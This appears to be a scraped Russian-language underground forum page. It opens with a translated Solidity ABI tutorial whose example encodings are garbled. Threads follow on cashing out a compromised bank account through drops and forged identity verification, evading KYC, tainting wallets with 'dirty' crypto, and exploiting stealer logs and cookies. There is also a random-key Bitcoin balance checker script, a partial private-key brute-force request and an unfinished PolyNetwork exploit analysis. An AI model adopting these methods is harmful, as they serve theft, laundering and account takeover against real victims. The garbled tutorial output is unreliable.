Code:Copy to clipboard

const Web3 = require("web3");const provider = "YOUR_INFURA_OR_QUICKNODE_HTTP_ENDPOINT";
const web3 = new Web3(provider);const UniswapV3Factory = "0x1F98431c8aD98523631AE4a59f267346ea31F984";web3.eth.getCode(UniswapV3Factory).then(console.log)
;> 0x608060405234801561001057600080fd5b506004361061007d5760003560e01c8063890357301161005b578063890357301461013b5780638a7c195f146101855780638da5cb5b146101b0578063a1671295146101b85761007d565b806313af4035146100825780631698ee82146100aa57806322afcccb14610102575b600080fd5b6100a86004803603602081101561009857600080fd5b50356001600160a01b03166101f4565b005b6100e6600480360360608110156100c057600080fd5b5080356001600160a01b03908116916020810135909116906040013562ffffff16610267565b604080516001600160a01b039092168252519081900360200190f35b6101246004803603602081101561011857600080fd5b503562ffffff16610293565b6040805160029290920b8252519081900360200190f35b6101436102a8565b604080516001600160a01b0396871681529486166020860152929094168383015262ffffff16606083015260029290920b608082015290519081900360a00190f35b6100a86004803603604081101561019b57600080fd5b5062ffffff813516906020013560020b6102de565b6100e66103a1565b6100e6600480360360608110156101ce57600080fd5b5080356001600160a01b03908116916020810135909116906040013562ffffff166103b0565b6003546001600160a01b0316331461020b57600080fd5b6003546040516001600160a01b038084169216907fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c90600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b60056020908152600093845260408085208252928452828420905282529020546001600160a01b031681565b60046020526000908152604090205460020b81565b600054600154600280546001600160a01b03938416939283169281169162ffffff600160a01b83041691600160b81b9004900b85565b6003546001600160a01b031633146102f557600080fd5b620...

А еще можно зайти на etherscan.io и в разделе CONTRACT ниже кода solidity будет ABI-код / прим. пер. /

Думайте о байт-коде смарт-контракта как о его «мозге». Он описывает логику контракта в виде машинного кода. Этот машинный код получается путем компиляции высокоуровневого языка программирования смарт-контрактов, такого как Solidity, в исполняемый машинный язык: байт-код EVM.

Приведенный выше байт-код EVM представляет собой не что иное, как последовательность кодов операций EVM, записанных в шестнадцатеричном формате.

Click to expand...

Это оставляет нам первую проблему: исполняемый код — это машинный код. Он не читается человеком, а только машиночитаем. И только специальная машина (= виртуальная машина Ethereum) может его понять и знает, как его выполнить. Но как насчет людей? Для людей байт-код контракта не предоставляет никакого контекста (например, двоичный исполняемый файл файла C++).
Вторая проблема , которая у нас есть, заключается в том, что смарт- контракты не очень полезны, если вы не начнете взаимодействовать с ними, чтобы они могли запускать и выполнять свою логику. Но что делает смарт-контракты исполняемыми в блокчейне, так это их фактический байт-код. Здесь мы приходим к противоречивой логике, когда две вышеуказанные проблемы подпитывают друг друга. Решение этой проблемы лежит в ABI, описанном в документации Solidity как:

«ABI — это стандартный способ взаимодействия с контрактами в экосистеме Ethereum. Как извне блокчейна, так и для взаимодействия контракт-контракт».

Click to expand...

« в ABI означает « Интерфейс. Это то, что обеспечивает связь с байт-кодом EVM контракта путем перевода данных входных данных в «машиночитаемый» формат для EVM.
Думайте об ABI как о более простом и понятном способе описания смарт-контракта для человека. ABI смарт-контракта будет описывать его публичный интерфейс и способы взаимодействия с ним.
Он определяет, какие функции вы можете вызывать, и гарантирует, что функция вернет данные в ожидаемом вами формате.

ABI = спецификация для кодирования + декодирования ​

Ранее мы видели, что ABI — это то, что создает связь между клиентом (непосредственно из EOA или интерфейса) и байт-кодом смарт-контракта (логика контракта в кодах операций EVM).
Однако ABI является не только связующим звеном между этими двумя уровнями (человеческим и EVM). Что наиболее важно, ABI определяет четкие спецификации того, как кодировать и декодировать данные и вызовы.
Таким образом, в Ethereum и любой цепочке на основе EVM ABI в основном представляет собой способ кодирования вызовов контрактов для EVM (чтобы EVM понимала, какие инструкции выполнять).
То же самое происходит в обратном направлении. ABI указывает, как читать и декодировать данные из транзакций, поскольку все данные, указанные в транзакциях, закодированы как необработанные шестнадцатеричные числа.
Следовательно, ABI — это метод кодирования и декодирования данных в/из машинного кода.
Мы увидим это в отдельном разделе о том, как разные типы данных кодируются и декодируются ABI.

Понимание JSON ABI контракта ​

Для таких агентов, как интерфейсы Dapp, взаимодействующие вне блокчейна, ABI контракта представлен в формате JSON.
Для интерфейса Dapp ABI смарт-контракта Solidity представлен в виде массива объектов.
Каждому объекту может соответствовать:

При составлении контракта Solidity можно найти ABI внутри сгенерированного .json артефакт. Этот файл JSON будет содержать поле с именем “abi”.
Вот простой пример из UniswapV3Factory:

Code:Copy to clipboard

{
"abi": [
    {
      "inputs": [],
      "stateMutability": "nonpayable",
      "type": "constructor"
    },
    {
      "anonymous": false,
      "inputs": [
        {
          "indexed": true,
          "internalType": "uint24",
          "name": "fee",
          "type": "uint24"
        },
        {
          "indexed": true,
          "internalType": "int24",
          "name": "tickSpacing",
          "type": "int24"
        }
      ],
      "name": "FeeAmountEnabled",
      "type": "event"
    },
    // events definition of `OwnerChanged`, `PoolCreated`
    {
      "inputs": [
        {
          "internalType": "address",
          "name": "tokenA",
          "type": "address"
        },
        {
          "internalType": "address",
          "name": "tokenB",
          "type": "address"
        },
        {
          "internalType": "uint24",
          "name": "fee",
          "type": "uint24"
        }
      ],
      "name": "createPool",
      "outputs": [
        {
          "internalType": "address",
          "name": "pool",
          "type": "address"
        }
      ],
      "stateMutability": "nonpayable",
      "type": "function"
    },
    {
      "inputs": [
        {
          "internalType": "uint24",
          "name": "fee",
          "type": "uint24"
        },
        {
          "internalType": "int24",
          "name": "tickSpacing",
          "type": "int24"
        }
      ],
      "name": "enableFeeAmount",
      "outputs": [],
      "stateMutability": "nonpayable",
      "type": "function"
    },
    // function definitions of:
    //     - `feeAmountTickSpacing(...)`
    //     - `getPool(...)`
    //     - `owner()`
    //     - `parameters(...)`
    //     - `setOwner(...)`
  ]
}

Как видите, ABI помогает концептуализировать контракт немного больше. Он показывает, какие функции можно вызывать и как через список параметров с их типами.
ABI содержит информацию только о функциях и событиях. Он не включает информацию о переменных состояния или модификаторах (за исключением случаев, когда переменные состояния определены как public. В этом случае создается общедоступный геттер

JSON ABI спецификация функции ​

Примечание : для constructor а также fallback функции, поля имени и вывода в JSON ABI пусты.
NB2: для fallback функция, входных данных нет так как резервная функция не может принимать аргументы.

Click to expand...

функциональные входы (детали)
в "inputs"Поле содержит массив объектов, каждый из которых определяет параметр функции.

Если параметр является кортежем ( например, определяемым пользователем как struct), “input"поле будет содержать поле с именем “components”. Если другой кортеж , он будет определен как “type”: “tuple”)
“StateMutability” Поле для функции может иметь одно из четырех следующих значений, в зависимости от того, как функция написана в Solidity:

Изменение состояни функции происходит 4 способами:

1. JSON ABI спецификация событий ​

входы событий (детали)
Подобно функциям, «входное» поле события в JSON ABI содержит массив объектов, представляющих параметры события. Каждый объект состоит из следующих свойств:

2. Solidity ABI — кодирование данных ​

Ранее мы обсуждали и видели, что ABI определяет, как типы данных Solidity должны быть закодированы, чтобы их можно было передать + интерпретировать EVM.
Большинство статических типов в Solidity, таких как address, uint256 или bytes32 кодируются как 32-байтовые слова.
Заполнение байтами зависит от базовых типов Solidity. Например, addressдополняются нулями слева, а значения байтов фиксированного размера меньше 32 байтов (например, bytes4, bytes8, bytes20, и т. д.) дополняются нулями с правой стороны.
Самое интересное приходит с неэлементарными типами, такими как string или массивы. Это означает, что такие типы кодируются определенным образом, указанным в Solidity ABI.
Ниже мы покажем два примера с string и массив фиксированного размера.

abi.encode(…)​

Встроенная функция Solidity abi.encode позволяет кодировать любые типы Solidity в необработанные байты, которые могут быть интерпретированы непосредственно EVM.
Обратите внимание, что этой функции может быть присвоено несколько аргументов.
Начнем с первого примера:
string
abi.encode("solidity")
Приведенная выше функция вернет следующее необработанное значение байтов.
0X0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004536F6C6964697479900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F _
0x0000000000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000004
536f6c69646974790000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Строки всегда кодируются в следующем формате:

Нестандартная кодировка = abi.encodePacked(…) ​

Solidity предлагает нестандартный режим кодирования данных с помощью встроенной функции abi.encodePacked(...). Это позволяет кодировать данные в необработанных байтах, не следуя соглашениям, указанным ABI.
Следующие правила ABI удаляются при выполнении упакованного кодирования в Solidity:

Давайте воспользуемся нашим предыдущим примером кодирования строки "Solidity"и сравним разницу между стандартной кодировкой через abi.encode(...) и нестандартное/упакованное кодирование через abi.encodePacked(...).

Code:Copy to clipboard

abi.encode("solidity") 
> 0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004536F6C6964697479900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FACK000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000н . 

abi.encodePacked("Solidity")
> 0x536f6c6964697479

Как вы можете видеть сверху, abi.encodePacked(...)отбрасывает смещение и длину строки, чтобы просто вернуть представление utf8 строки в базе 16 (= шестнадцатеричное),
показать разницу между этими выводами:

Code:Copy to clipboard

abi.encode(0xaaaaaaaaa, 0xbbbbbbbb, 0xcccccccc) 
abi.encodePacked(0xaaaaaaaa, 0xbbbbbbbb, 0xcccccccc)

См. раздел «ABI > [Нестандартный упакованный режим](https://docs.soliditylang.org/en/v0.8.13/abi-spec.html#non- standard-packed-mode)» в документации Solidity для получения более подробной информации об упакованном кодировании и его последствиях.

Click to expand...

3.Solidity ABI — кодирование контрактных вызовов ​

Функции abi.encodeWithSignature(...)а также abi.encodeWithSelector(...)может использоваться в Solidity для подготовки полезных данных в необработанных байтах для вызовов внешних контрактов. Затем такие полезные нагрузки можно передать в качестве параметров низкоуровневым вызовам .call(...), .delegatecall(...) а также .staticcall(...) функциям.
Эти две функции будут кодировать переданные аргументы, начиная со второго параметра.

abi.encodeWithSelector(...)​

Code:Copy to clipboard

abi.encodeWithSelector(...)

abi.encodeWithSelector(bytes4 selector, ...) returns (bytes memory)

С помощью этой функции вы должны предоставить bytes4 селектор функции, которую вы хотите вызвать. Селектор состоит из первых четырех байтов хэша Keccak256 сигнатуры функции.
Есть несколько способов получить селектор функции:

Вы можете сгенерировать хеш bytes4 из строки подписи:

Code:Copy to clipboard

bytes4 selector = bytes4(keccak256("transfer(address,address,uint256)"));

Пример из Uniswap

Код Solidity Uniswap представляет собой действительно хороший пример того, как эти встроенные abi функции используются в Solidity. Взгляните на UniswapV2Pair

_safeTransfer(…) использование внутренней функции abi.encodeWithSelector для выполнения общего низкоуровневого вызова любого контракта токена ERC20, позволяя протоколу передавать, а затем перемещать средства между пулом Uniswap и контрактами токена ERC20.

Code:Copy to clipboard

function _safeTransfer(
    address token,
    address to,
    uint value
) private {       
    
    (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
    
    require(
        success && (data.length == 0 || abi.decode(data, (bool))),
        'UniswapV2: TRANSFER_FAILED');   
}

Аналогично приведенному выше примеру, bytes4 селектор универсального токена ERC20 функция transfer(...) в UniswapV2Pair генерируется, как мы описали:

Code:Copy to clipboard

bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));

4. abi.encodeWithSignature(…)​

Code:Copy to clipboard

abi.encodeWithSignature(string memory signature, ...) returns (bytes memory)

Эквивалентно

Code:Copy to clipboard

abi.encodeWithSelector(bytes4(keccak256(bytes(signature))), ...)

Сопоставление Solidity с типами ABI​

Большинство элементарных типов, доступных в Solidity, являются частью спецификаций ABI. Это включает address, bytes32, и так далее.
Однако некоторые конкретные типы Solidity не имеют прямого соответствия в ABI. Поэтому они преобразуются в типы, определенные в ABI.

Короче говоря, переменная типа address payable или же contract будет кодироваться/декодироваться под капотом ABI в качестве стандарта address.
То же самое касается struct. ABI будет кодировать struct как кортеж элементарных типов.

Раньше перечисления определялись в ABI по наименьшему uint достаточно большой, чтобы вместить все значения, определенные в перечислении.
Например, enum с 255 значениями или менее были бы сопоставлены с uint8 ABI, в то время как enum с 256 значениями или более были бы сопоставлены с uint16.
Это изменилось с версии Solidity 0.8.0 , в качестве enum больше не может иметь более 256

Click to expand...

Как вывести деньги в крипту с если есть доступ к банковскому аккаунту?
ID: 67686ad7b4103b69df37977f
Thread ID: 103399
Created: 2023-12-02T20:50:27+0000
Last Post: 2024-02-28T14:20:38+0000
Author: exopius
Replies: 15 Views: 967

Есть доступ к банковскому аккаунту. Какие есть варианты вывести деньги в крипту? Я вижу такие варианты: Купить акк на бирже в комплекте с банковской картой на имя того же дропа что и акк, перевести деньги банковским переводом сначала на карту а потом на баржу, но это может стоить сильно дорого для меня. Купить/папытаться сделать самому акк биржи на дропа и понадеяться что отличие имени на карте и в акке никто не заметит(какая вероятность что не заметят кстати?). И попытаться сделать акк самому/у отрисовщщика на имя влядельца банковского аккаунта. Бюджет у меня ограничен. Может есть еще варианты? Как лучше обойтись с верификацией? Посоветуйте пожалуйста.

Биткоин налоги
ID: 67686ad7b4103b69df379a44
Thread ID: 46820
Created: 2021-01-16T00:51:16+0000
Last Post: 2021-01-16T14:01:20+0000
Author: tipokipocod
Replies: 3 Views: 966

как налоги повлияют на биткоин?

Fake btc (фейк btc) binance, trust wallet
ID: 67686ad7b4103b69df379780
Thread ID: 101276
Created: 2023-10-30T09:42:41+0000
Last Post: 2024-02-28T14:16:16+0000
Author: fantomlog
Replies: 3 Views: 960

В этом разделе запрещена коммерция!

// Модератор

Мысли вслух
ID: 67686ad7b4103b69df379a71
Thread ID: 40588
Created: 2020-08-06T19:30:52+0000
Last Post: 2020-08-06T19:30:52+0000
Author: tilekvj
Replies: 0 Views: 958

Дабы раздел жил и развивался, буду постить здесь интересные авторские статьи, вырезки из книг, которые читаю.
Ниже будет моя конкурсная статья:

Имея большой опыт в трейдинге, хотел бы "на пальцах" рассказать о том, как устроен рынок криптовалют, что нужно знать новичку, который собрался торговать и как предостеречь себя от рисков. Для начала, стоит пройтись по законодательной базе: криптовалюта находится в "серой" зоне, поэтому она никак не регулируется и не облагается налогом на прибыль, в отличие от тех же акций, например. По этой причине у органов могут закрадываться разные умыслы постучаться рано утром в дверь и спросить у холдера (хранителя цифрового золота) за отмывание денег или пособничество терроризму, при наличие сомнительных и крупных транзакций. Но это редкие случаи, которые, как правило, имеют под собой основания.
Пойдем дальше. При выборе биржи, стоит обращать внимание на её ликвидность, год запуска, верификацию аккаунта и количество торговых пар. К новым биржам всегда стоит относиться с опаской, несмотря на сниженную комиссию или упрощенный KYC (так называется верификация на биржах, от слов Know Your Customer,), поэтому доверять всегда лучше старым, проверенным площадкам, пусть и не с такими сладкими условиями. Многие биржи сейчас работают охотно со странами СНГ и пополнение депозита принимается в рублевом эквиваленте, с последующим внутренним обменом на биткоин. Для снижения процента за пополнение рублём, всегда можно воспользоваться надёжными сторонними обменниками и пополнить свой биржевой депозит напрямую через них, но здесь нужно ловить выгодный курс, так как он может быть через чур завышенным.
Пополнив свой депозит в первый раз, хомячок открывает торговую панель с графиком и списком торговых пар, где его поджидают основные приключения и мутные, как чай с двумя пакетиками, движения. В таком случае всегда нужно бегло изучать валюту, которую хочешь приобрести, а именно: общий денежный оборот за сутки у валюты, общую капитализацию и давность происхождения - все эти параметры можно найти в специальных рейтингах криптовалют. Я бы рекомендовал работать с ТОП 10 монетами, так как они вселяют веру в то, что просуществуют еще долгое время, в отличие от разных щиткоинов (shit coin).
Но не спешите покупать, ведь курс монеты может пойти резко вниз, что тогда? Снова собирать деньги со школьных обедов? Ну уж нет, и так пол года копил, не ел. Для этого умные финансисты придумали термин "диверсификация рисков" — это распределение своих кровных по разным активам с целью минимизации потерь. Например:
У нас есть 100$, на них мы покупаем:
Криптовалюта А - 25$
Криптовалюта Б - 25$
Криптовалюта В - 25$
Криптовалюта Г - 25$
Далее, криптовалюта А и Г падают на 50% из-за того, что одна крупная биржа исключила их из своих котировок. В то время, криптовалюта Б и В выросли на 100%, потому что Китай признал их национальным цифровым золотом. Таким образом мы имеем:
Криптовалюта А - 12.5$
Криптовалюта Б - 50$
Криптовалюта В - 12.5$
Криптовалюта Г - 50$
Итого: 125$

Это очень условный пример того, как может работать диверсификация, но, как говорят трейдеры "яйца нужно держать в разных корзинах", поэтому распределение по разным активам поможет снизить риски от ликвидаций депозита.
Хорошо, вот мы уже знаем на какой бирже и валютных парах торговать, как распределять депозит, почти получается, но вот резко монеты А, Б, В, Г падают на 40% из-за новости, что криптовалюту запретили во многих странах. Теперь мы стали хомячком-инвестором, который ждёт, пока курс снова вырастет на 40%, дабы выйти хотя бы в 0. Чтоб такого не случилось, другие умные финансисты придумали термин "мани менеджмент (money management)", который поможет оптимально управлять капиталом и страховать свои активы. Вот несколько советов:

  1. Совершайте каждую сделку на 1-5% от депозита.
  2. Используйте стоп-лосс — ограничение убытков по сделке при которой позиция закрывается автоматически в минус на заданном курсе, чтоб не улететь на дно.
  3. Тейк-профит должен быть в 2 раза больше, чем стоп-лосс, если речь идет не о скальпинге.
    Теперь мы знаем, что входить в сделку надо обдуманно, с выставленным стоп лоссом и тейк профитом.
    Но одним из наиболее важных моментов является психологическая составляющая. Как писал Марк Дуглас в книге "Зональный трейдинг" - 95% ошибок в торговле, из-за которых происходит потеря депозитов, выливается из отношения к неудачам, упущенным возможностям и привычке не выходить из сделки во время ввиду жадности (ведь каждому хочется забрать побольше профита с открытой позиции).
    Перейдем к "золотой жиле", которую хомячки рассматривают как панацею и священный грааль. Речь идёт об индикаторах, их бывает 3 вида:
  4. Трендовые - прогнозируют движение цены, начало или окончание тренда, но имеют большой минус - работают с запозданием.
  5. Осцилляторы - работают в узком коридоре, флете и, как правило, работают с небольшим опережением.
  6. Психологические - показывают настроение трейдеров, от которых в принципе зависит движение цены. К этому виду так же относят Индикатор Объёма, который демонстрирует количество совершенных сделок в тот или иной промежуток времени.
    Но, как показывает практика, хомячки не могут читать и синхронизировать между собой разные связки индикаторов, поэтому используют один-два индикатора как основные для входа и выхода из позиции. Стоит отметить, что индикаторы не является основным сигналом для входа в рынок или выхода, они всего лишь используются как второстепенный, подтверждающий инструмент. В трейдинге играет роль совокупность факторов: технический анализ, паттерны, исторические данные, цикличность рынка, новостной фон (фундаментальный анализ), психологический настрой трейдера. Поэтому те, кто хотел залететь на криптовалютный рынок с ноги, советую изучить каждый из аспектов, который я описал выше. Ввиду того, что моя статья носит ознакомительный характер для конкурса - это некая краткая выжимка из знаний, я не призываю опираться только на неё и использовать как шпаргалку. Описал то, что замечаю чаще всего среди ошибок, которые допускают начинающие трейдеры.
    Спасибо всем за внимание!

ну, это лишь основа основ. А так, лайк за коротко и четко изложенную инфу. p.s. Трейдил на акциях, почти не зарабатывал т.к. был малым и глупым. После прешел на валюты обычные, а после на крипты (чисто интерес) и охерел на криптах от корреляций курса. Финансовое образование хоть чет позволяло делать. Но забросил т.к. не интересно. Но трейдинг само по себе учит дисциплине, терпнию, крит. мышлению, риску, способность рассчитать свои шаги и проанализировать какой-либо исход событий, и контролю над эмоциями. И это рил помогает в жизни.

Где найти все адреса ERC-20 по маске?
ID: 67686ad7b4103b69df3796ca
Thread ID: 123068
Created: 2024-09-19T14:28:54+0000
Last Post: 2024-09-19T22:43:25+0000
Author: TOPCHEK
Replies: 10 Views: 952

Мне нужно найти все адреса из блокчейна которые начинаются на 0x55555
Какие есть способы спарсить все адреса? Желательно с отображением их балансов и количеством транзакций.
Без скачивания чего-либо.
Главное чтобы с транзакциями были.

Есть такие сайты для поиска по шаблону адресов?

Блокировка Binance (советы)
ID: 67686ad7b4103b69df37972b
Thread ID: 115268
Created: 2024-05-24T11:36:38+0000
Last Post: 2024-05-25T08:41:46+0000
Author: PenTest20
Replies: 8 Views: 952

Блокировка [RW00292] - функция вывода в вашем аккаунте временно отключена и тд, кто сталкивался и кто сможет помочь?
Сумма не большая в районе 600$, но все равно неприятно. гугл говорит таких ситуаций много и затягивают как могут, буду рад любой помощи.

совет кто еще работает с бинансом - уходите поскорее, я сам не думал что это может со сной случиться

Как вывести фиат $ в крипту без kyc?
ID: 67686ad7b4103b69df3797da
Thread ID: 99685
Created: 2023-10-09T00:44:25+0000
Last Post: 2023-10-20T06:44:24+0000
Author: exopius
Replies: 13 Views: 948

Как вывести фиат $ в крипту без kyc, либо может есть какой-то софт для верификации?

Есть одна криптоидея...
ID: 67686ad7b4103b69df379776
Thread ID: 108510
Created: 2024-02-18T08:41:03+0000
Last Post: 2024-03-04T13:19:04+0000
Author: lisa99
Replies: 12 Views: 946

Идея нечеткая, не бизнес-план.
Конечно, по поводу щитков. И больше организационный момент неясен, чем какой- бы то ни было кодинг.
Чувствую, можно заработать без адских вложений, но не могу четко проработась схему - не хватает опыта, знаний.

Ищу с кем бы ее обсудить приватно )))
В идеале, еще и попробовать...

криптовалюта от телеграма
ID: 67686ad7b4103b69df3796cc
Thread ID: 121497
Created: 2024-08-26T17:47:24+0000
Last Post: 2024-09-18T08:59:38+0000
Author: kokoiToPidor
Replies: 4 Views: 943

у какого какие отзывы о работе кошелька телеграма.
хочу купить, через раз работает р2р, то ордер не подтвержается, то вылезает ошибка.
у всех так?

Bitcoin private key generator, address generator, and balance checker
ID: 67686ad7b4103b69df3796d9
Thread ID: 119255
Created: 2024-07-20T08:59:19+0000
Last Post: 2024-09-07T13:01:35+0000
Author: msfconsolee
Replies: 6 Views: 942

_This code generates a random private key, converts it to a WIF private key, generates a public key from the private key, generates a Bitcoin address from the public key, checks the balance of the address using the Blockchain.info API, and prints the balance in green if it 's non-zero or red if it's zero.
Note that this script is for educational purposes _

Python:Copy to clipboard

import os
import ecdsa
import hashlib
import base58
import requests
import telebot

# Telegram bot token
TOKEN = 'YOUR_TELEGRAM_BOT_TOKEN'

bot = telebot.TeleBot(TOKEN)

def generate_private_key():
    # Generate a random private key
    private_key = os.urandom(32)
    return private_key.hex()

def generate_public_key(private_key):
    # Create a signing key from the private key
    signing_key = ecdsa.SigningKey.from_string(bytes.fromhex(private_key), curve=ecdsa.SECP256k1)
    # Get the verifying key from the signing key
    verifying_key = signing_key.get_verifying_key()
    # Convert the verifying key to a public key
    public_key = verifying_key.to_string()
    return public_key.hex()

def generate_p2pkh_address(public_key):
    # Hash the public key using SHA-256 and RIPEMD-160
    sha256_hash = hashlib.sha256(bytes.fromhex(public_key)).digest()
    ripemd160_hash = hashlib.new('ripemd160')
    ripemd160_hash.update(sha256_hash)
    # Add the network byte (0x00 for mainnet)
    address_hash = b'\x00' + ripemd160_hash.digest()
    # Calculate the checksum
    checksum = hashlib.sha256(hashlib.sha256(address_hash).digest()).digest()[:4]
    # Create the address by concatenating the address hash and checksum
    address = base58.b58encode(address_hash + checksum)
    return address.decode()

def check_balance(address):
    # Use a blockchain API to check the balance of the address
    response = requests.get(f'https://blockchain.info/q/addressbalance/{address}')
    if response.status_code == 200:
        return int(response.text)
    else:
        return 0

def send_to_telegram(private_key, public_key, address, balance):
    # Send the generated keys and address to the Telegram bot
    message = f'Private Key: {private_key}\nPublic Key: {public_key}\nAddress: {address}\nBalance: {balance} satoshi'
    bot.send_message(chat_id='YOUR_CHAT_ID', text=message)

def main():
    private_key = generate_private_key()
    public_key = generate_public_key(private_key)
    address = generate_p2pkh_address(public_key)
    balance = check_balance(address)
    if balance > 0:
        print(f'\033[92m{address} has a balance of {balance} satoshi\033[0m')
    else:
        print(f'\033[91m{address} has no balance\033[0m')
    send_to_telegram(private_key, public_key, address, balance)

if __name__ == '__main__':
    main()
идея для бизнеса: очернение крипты
ID: 67686ad7b4103b69df37972f
Thread ID: 114621
Created: 2024-05-15T18:21:30+0000
Last Post: 2024-05-16T21:35:49+0000
Author: Dread Pirate Roberts
Replies: 10 Views: 941

подойдёт владельцам обменников, у кого есть крупные объёмы грязной крипты.
суть идеи: клиент указывает адрес кошелька, сумму, и выбирает желаемые проценты и типы грязи, какой ему на его кошелёк налить, типа налить 30% из суммы с пометкой "Sanctions", 30% "Tornado Cash Recipient", 20% "Ransomware", 20% "High-Risk Exchange".
за услугу брать с клиента чистую крипту в размере указанной суммы + какой-то процент сверху.

Metamask файлы
ID: 67686ad7b4103b69df3797c5
Thread ID: 102816
Created: 2023-11-23T12:33:06+0000
Last Post: 2023-12-02T10:14:41+0000
Author: Unseen
Replies: 15 Views: 940

Доброго времени суток Форумчане! У меня возник вопрос связанный с кошельком Metamask. Я в этом деле совсем зеленый. На днях мне прилетели логи со стиллела. В логах имеется пароли, куки, история, и папка с названием Yandex Default Metamask и в нем же куча файлов. Подумал а вообще с этих логов есть ли польза?

И хотелось бы немного узнать об куки. Вроде с помощью них можно авторизоваться на сайте без ввода логин пасс? Как это возможно реализовать? Благодарю всех!

Screenshot_1.pngScreenshot_2.png

Btc-кош. Брут, при условии что, частитчно известен приватный ключ.
ID: 67686ad7b4103b69df379a2a
Thread ID: 50342
Created: 2021-04-06T11:06:17+0000
Last Post: 2021-05-01T18:18:06+0000
Author: KAJIT
Replies: 4 Views: 939

Сабж. Помогите советом. Есть адресса коша и приватный ключ-частично (без 8 знаков). Какой тул чейн нужно собрать для брута? Всего выходит примерно 2.183401056×10¹⁴ - вариантов. Пасс от коша не известен.

Анализ атаки на PolyNetwork
ID: 67686ad7b4103b69df3799ee
Thread ID: 55174
Created: 2021-08-11T15:19:04+0000
Last Post: 2021-08-30T10:18:30+0000
Author: frog2
Replies: 4 Views: 936

Всем привет. Я решил подготовить краткую выжимку о взломе PolyNetwork. Моя публикация не претендует на полноту или уникальность, в сети есть и более глубокие разборы вплоть до воссоздания математической модели экономической системы проекта. Надеюсь некоторых заинтересует данная тематика, уж поверьте, здесь точно есть где развернуться. Так же я хочу найти единомышленников для совместного аудита контрактов и прорешивание CTF заданий, в подписи в моем профиле вы найдёте требования и мои контакты. У читателя должны быть стойкие знания в технологиях и токеномике (defi) в целом.

По мере использования блокчейна Ethereum пропускная способность блоков достигает определенных ограничений. Появляются проблемы в виде повышение стоимости операций в самой сети. Решить проблему масштабируемости, а именно снизить стоимость транзакций/вычислений и повысить скорость обработки транзакций не просто, нужно при этом избежать централизации и некоторых других проблем, так же назревает потребность в взаимодействие между блокчейнами, блокчейн в силу своей изолированности накладывает ограничения на передачу информации и обмена различных активов. Появляются все новые решения такие как L2, state channels, plasma, side/cross-chains, rollups. Есть несколько классификаций и нет единого стандарта как должна работать та или иная технология, соответственно, из-за сырости таких решений, низкой квалификации разработчиков, пренебрежения всестороннего аудита появляются уязвимости, которые приводят к большим финансовым проблемам.

Poly Network - позволяет проводить транзакции между блокчейнами. https://poly.network/PolyNetwork-whitepaper.pdf
Чтобы проводить кросс-чейн транзакции актив замораживается в хранилище в одном блокчейне и появляется в другом. Хранилище блокирует актив до того момента пока не получит сообщение от другого хранилища на другом блокчейне. Между хранилищами происходит общение, которого должно быть подписано bookkeeper-ми. Взлом произошел из-за не разграничения прав доступа к контракту-владельца и проблем владения между контрактами, данная уязвимость подходит под классификацию Access Control. Хакер мог подделывать сообщения из заблокированного хранилища в другую цепочку.

E8cJeH4X0AgBrhv.jpeg

Инфраструктура контрактов: <https://github.com/polynetwork/eth- contracts/tree/d16252b2b857eecf8e558bd3e1f3bb14cff30e9b/contracts>

Нам нужно найти функцию verifyHeaderAndExecuteTx() в контракте EthCrossChainManager.sol. Функция вызывается для выполнения кросс-чейн транзакций, она проверяет подлинность заголовков блока, проверяя подписи и проверяет была ли транзакция включена в блок с доказательством Меркла. EthCrossChainManager.sol - это контракт-владелец, который может запускать сообщения из другой цепочки.
Тут у нас имеется такой код: [https://github.com/polynetwork/eth-...n_manager/logic/EthCrossChainManager.sol#L127](https://github.com/polynetwork/eth- contracts/blob/d16252b2b857eecf8e558bd3e1f3bb14cff30e9b/contracts/core/cross_chain_manager/logic/EthCrossChainManager.sol#L127)

В конце контракта EthCrossChainManager.sol функция verifyHeaderAndExecuteTx() вызывает _executeCrossChainTx(), которая выполняет вызов целевого контракта.
Если изучить контракт до конца мы увидим, что нет никаких ограничений в вызове пользователем контракта EthCrossChainData.sol!
Код контракта: [https://github.com/polynetwork/eth-...ross_chain_manager/data/EthCrossChainData.sol](https://github.com/polynetwork/eth- contracts/blob/master/contracts/core/cross_chain_manager/data/EthCrossChainData.sol)

EthCrossChainData.sol отслеживает список public keys, которые идентифицирует данные идущие из другой цепочки. Из-за того, что нет ограничений в вызове контракта и к тому же наш привилегированный контракт EthCrossChainManager.sol ВЛАДЕЕТ контрактом. EthCrossChainData.sol мы можем просто устанавливать свои открытые ключи в соответствии с нашим private keys и отправлять кросс-чейн сообщения(транзакции) с правильными данными напрямую в контракт EthCrossChainData.sol, мы можем заставить наш главный контракт вызвать EthCrossChainData.sol обойти проверку onlyOwner(владелец контракта) и в контракте EthCrossChainData.sol изменить те самые public keys.
Код функции: [https://github.com/polynetwork/eth-..._chain_manager/data/EthCrossChainData.sol#L45](https://github.com/polynetwork/eth- contracts/blob/d16252b2b857eecf8e558bd3e1f3bb14cff30e9b/contracts/core/cross_chain_manager/data/EthCrossChainData.sol#L45)

Нужно каким-то образом заставить EthCrossChainManager.sol вызвать нужную нам функцию при этом у нас появляется проблема из-за спецификации работы EVM.
Первые 4 байта входных данных в транзакции называются сигхешем(сигнатурой). 4 байта сообщает контракту, что мы пытаемся сделать. Например в функции transfer ERC20 сигхэш это первые 4 байта хэша "function transfer(address user, uint256 amout)". EthCrossChainManager.sol может вызывать любой контракт, но при этом только определенную функцию, которая соответствует определенной сигнатуре.

E8eIlWsWUAE4GBT.jpeg

Чтобы вызвать нужную нам функцию, нужно вычислить значение для _method, которого вместе с другим значениями и хешированием имеет одинаковые 4 байта, что и сигнатура нашей функци. Нужно лишь подобрать значения для правильным сигхэша, при этом полную коллизию хэшей подбирать не нужно, т.к. достаточно будет всего 4 байта.
При помощи криптографической функции ethers.utils.id мы получаем фактическую сигнатуру:
